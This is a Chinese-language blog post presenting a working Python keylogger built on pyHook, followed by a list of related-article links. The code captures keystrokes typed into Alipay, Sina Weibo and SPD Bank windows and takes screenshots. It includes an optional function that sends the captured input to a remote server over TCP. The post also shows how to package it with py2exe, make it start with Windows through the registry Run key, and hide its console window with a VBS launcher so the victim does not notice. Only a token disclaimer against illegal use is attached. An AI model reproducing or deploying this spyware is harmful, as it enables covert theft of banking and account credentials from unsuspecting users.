Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
Python 文件操作的详解及实例
Sep 18 Python
使用Numpy读取CSV文件,并进行行列删除的操作方法
Jul 04 Python
Python多图片合并PDF的方法
Jan 03 Python
实时获取Python的print输出流方法
Jan 07 Python
Python3.6.2调用ffmpeg的方法
Jan 10 Python
python实现维吉尼亚算法
Mar 20 Python
tensorflow求导和梯度计算实例
Jan 23 Python
Tensorflow 多线程设置方式
Feb 06 Python
详解用Python进行时间序列预测的7种方法
Mar 13 Python
python实现将range()函数生成的数字存储在一个列表中
Apr 02 Python
基于python生成英文版词云图代码实例
May 16 Python
PyQt5实现登录页面
May 30 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
php minixml详解
2008/07/19 PHP
php链式操作的实现方式分析
2019/08/12 PHP
JavaScript 学习笔记(十五)
2010/01/28 Javascript
jQuery 选择器、DOM操作、事件、动画
2010/11/25 Javascript
javascript面向对象之二 命名空间
2011/02/08 Javascript
jquery触发a标签跳转事件示例代码
2013/07/21 Javascript
js中通过split函数分割字符串成数组小例子
2013/09/21 Javascript
标题过长使用javascript按字节截取字符串
2014/04/24 Javascript
Node.js编码规范
2014/07/14 Javascript
jQuery中index()方法用法实例
2014/12/27 Javascript
JavaScript实现网页对象拖放功能的方法
2015/04/15 Javascript
jQuery 1.9.1源码分析系列(十三)之位置大小操作
2015/12/02 Javascript
从零学习node.js之简易的网络爬虫(四)
2017/02/22 Javascript
vue component组件使用方法详解
2017/07/14 Javascript
浅谈对于react-thunk中间件的简单理解
2019/05/01 Javascript
Vue的transition-group与Virtual Dom Diff算法的使用
2019/12/09 Javascript
vscode调试node.js的实现方法
2020/03/22 Javascript
Vue文本模糊匹配功能如何实现
2020/07/30 Javascript
跟老齐学Python之Python文档
2014/10/10 Python
在Django的视图中使用form对象的方法
2015/07/18 Python
使用numba对Python运算加速的方法
2018/10/15 Python
python学生信息管理系统(初级版)
2018/10/17 Python
python中类的属性和方法介绍
2018/11/27 Python
Django框架模板语言实例小结【变量,标签,过滤器,继承,html转义】
2019/05/23 Python
Python实现把多维数组展开成DataFrame
2019/11/30 Python
jupyternotebook 撤销删除的操作方式
2020/04/17 Python
python使用Thread的setDaemon启动后台线程教程
2020/04/25 Python
Django 解决上传文件时,request.FILES为空的问题
2020/05/20 Python
如何用Python编写一个电子考勤系统
2021/02/08 Python
使用pandas读取表格数据并进行单行数据拼接的详细教程
2021/03/03 Python
Puritan’s Pride(普丽普莱)官方网站:美国最大最全的保健品公司之一
2016/10/23 全球购物
美国著名的户外用品品牌:L.L.Bean
2018/01/05 全球购物
2014年小班元旦活动方案
2014/02/16 职场文书
工会文体活动总结
2015/05/07 职场文书
golang中字符串MD5生成方式总结
2021/07/04 Golang
Python制作春联的示例代码
2022/01/22 Python